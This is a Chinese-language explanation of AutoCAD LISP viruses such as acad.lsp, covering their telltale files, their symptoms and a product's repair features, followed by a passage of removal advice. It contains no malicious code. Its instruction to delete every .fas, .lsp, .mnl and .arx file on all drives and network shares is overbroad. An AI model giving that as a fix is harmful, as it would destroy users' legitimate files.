在这里大家注意一下，由于icad.lsp病毒对软件设计影响效大，所以强烈建议在软件启时进行一个icad.lsp病毒的扫描，当软件对病毒造成的后果，它提供了以下两种修复办法
1自动修复软件会把经常出现的一些病毒所修改的一些设置和命令改回
来。

2手动修复在完成自动修复后，仍然有一些功能或者快捷键不能操作，可
以执行手动修复功能。

除了两种修复操作外，软件还提供了查杀病毒之后的免疫功能和快捷键命令还原功能，既当再次出现icad.lsp病毒时软件能对病毒可以预防并还原快捷键命令如图二
图二
当然，软件提供的查杀修复功能只是一方面，要想更有效的预防病毒，可以使用浩辰公司的cad病毒专杀工具如图三所有这些安全的操作，都是确保我们使用软件的万无一失！
图三。

CAD病毒的通用杀毒方法

CAD病毒的通用杀毒方法（CAD杀毒acad.lsp病毒解决方法及预防措施等）2009年03月12日星期四 20:26关于网上流传的CAD病毒，特征为：自动生成acad.lsp ，acaddoc.lsp ，acadap.lsp，acad.fas，acad.mnl，acad.sys，lcm.fas，cad.fas，acad.ini等文件；在某时间出现“党不会亏待你”“成功完成复制！”；无法使用炸开、直线命令，鼠标中键不为缩放等等。

其特点均为lisp编写，由于打开CAD时会自动加载运行，所以造成一定程度的危害。

还有一个基于dwwin.exe或dwgrun.exe的病毒，特征是出现winfas.in，dwgrun.bat文件等，其实也是依靠.lsp文件来感染的，但传播方式是依靠.exe 文件，根据这个病毒特征来看，其实是作者水平不算高为实现目的硬生生拼凑的，中这个病毒只能说您安装的杀毒软件实在太差或者设置不合理。

此病毒通过下述方法无法彻底清除，需要使用优秀的杀毒和防御软件，如卡巴，微点等（瑞星就免了吧）。

------------------------------特点说明-------------------------------------------------通俗的解释其特点1.病毒不破坏DWG图纸文件，电脑中的图纸DWG文件照常可以使用。

2.病毒破坏CAD软件的配置，最好重新安装CAD。

3.部分病毒有改写同类文件特点，只要中毒，所有.lsp .mnl等文件逐渐均被改写，此类病毒危害最大。

------------------------------杀毒方法-------------------------------------------------通用杀毒方法将全硬盘、u盘、移动硬盘网络共享文件夹中的.fas .lsp .mnl .arx等类型文件全部删除即可。

具体方法如下：1.关闭CAD。